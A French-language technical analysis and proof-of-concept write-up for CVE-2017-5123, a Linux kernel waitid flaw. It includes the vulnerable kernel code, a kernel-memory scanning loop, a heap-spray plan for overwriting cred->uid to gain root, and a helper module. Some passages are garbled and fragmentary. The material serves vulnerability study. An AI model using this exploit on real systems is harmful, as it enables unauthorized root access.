
Analyse technique détaillée et preuve de concept d'exploitation pour CVE-2017-5123, une vulnérabilité de l'appel système waitid du noyau Linux permettant une escalade de privilèges locale via un contrôle access_ok() manquant.
L'appel système waitid dans le noyau Linux n'a pas validé l'adresse de destination utilisée. Cela permet à un utilisateur local d'écrire dans la mémoire du noyau, pouvant entraîner une élévation de privilèges sur l'appareil ou une évasion de sandbox.
kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin(); // appelle en réalité stac(), désactive temporairement SMAP
unsafe_put_user(signo, &infop->si_signo, Efault); // <- absence de vérification access_ok() avant d'appeler cette fonction
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // appelle en réalité clac(), réactive SMAP
return err;
Efault:
user_access_end();
return -EFAULT;
}
L'erreur identifiée ici est l'absence de vérification access_ok() avant l'appel à unsafe_put_user(). Dans les versions antérieures du noyau, le programme utilisait la fonction put_user(), qui inclut l'appel à access_ok().
put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()
En utilisant unsafe_put_user(), le programme évite d'activer/désactiver SMAP plusieurs fois de suite en appelant user_access_begin()/user_access_end(). La fonction access_ok() vérifie la validité de l'adresse ptr, s'assurant qu'elle appartient à la mémoire utilisateur, empêchant ainsi l'écriture dans la mémoire noyau. Donc, si on appelle l'appel système waitid avec le paramètre infop pointant vers une adresse noyau, cela déclenche cette erreur.
L'absence de vérification access_ok() permet de passer une adresse noyau comme paramètre infop de waitid, puis l'appel système écrase cette adresse via unsafe_put_user(). Une limitation ici est que nous ne pouvons pas contrôler ce qui sera écrit à l'adresse noyau fournie. Six champs sont utilisés pour l'écriture : signo, un octet nul, info.cause, info.pid (valeur max 0x8000), info.uid, et info.status (type int32 mais valeur >0, <256). Le champ le plus utile est probablement l'octet nul. On peut l'utiliser pour écraser cred->euid et cred->uid. Pour cela, il faut connaître l'adresse de ces deux valeurs.
D'après kernel.org, l'adresse de la Kernel-space virtual memory partagée entre tous les processus commence à 0xffff800000000000. Cependant, de 0xffff800000000000 à 0xffff87ffffffffff se trouve "... guard hole, also reserved for hypervisor", donc nous commencerons le balayage mémoire à l'adresse 0xffff880000000000. Notons que nous pouvons balayer la mémoire car unsafe_put_user() ne crashe pas lorsque nous accédons à des adresses invalides. Cela évite aux utilisateurs non privilégiés de faire un DoS du système en passant des adresses invalides.
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %p\n", i);
break;
}
}
else if (pid == 0)
exit(0);
}

Maintenant que nous connaissons une adresse du tas noyau, nous devons déterminer l'adresse de la structure cred.
Bien que nous connaissions l'adresse du tas noyau, elle peut ne pas être le début du tas. Nous ne pouvons donc pas calculer l'adresse exacte de la structure cred. On utilise alors une technique appelée heap spray.
cred seront présentes en mémoire. Ainsi, il est plus facile de deviner l'adresse d'une structure cred.geteuid() ; si elle retourne 0, le processus s'exécute avec les droits root → bingo.waitid() en exploitant la vulnérabilité, devine l'adresse de la structure cred et écrase cred->uid avec un octet nul.Déboguer pour trouver l'adresse de la structure cred des processus fils prend beaucoup de temps. J'ai donc utilisé un module existant pour afficher l'adresse de cred->euid via printk().
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %p\n", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");

J'ai remarqué que certaines adresses ont une forme similaire, même après redémarrage ; le décalage de ces adresses reste semblable. J'ai donc choisi une adresse, puis ajouté la taille de page en boucle pour deviner l'adresse de la structure cred.

Vidéo de démonstration de l'exploitation : IMAGE ALT TEXT HERE
adresse du tas trouvée + offset. Il faudrait réduire l'offset pour être utilisable sur plusieurs versions. Cependant, cela signifie un temps d'attaque plus long, augmentant le risque de panique/crash du noyau à cause d'écritures potentielles dans d'autres structures importantes du tas.access_ok()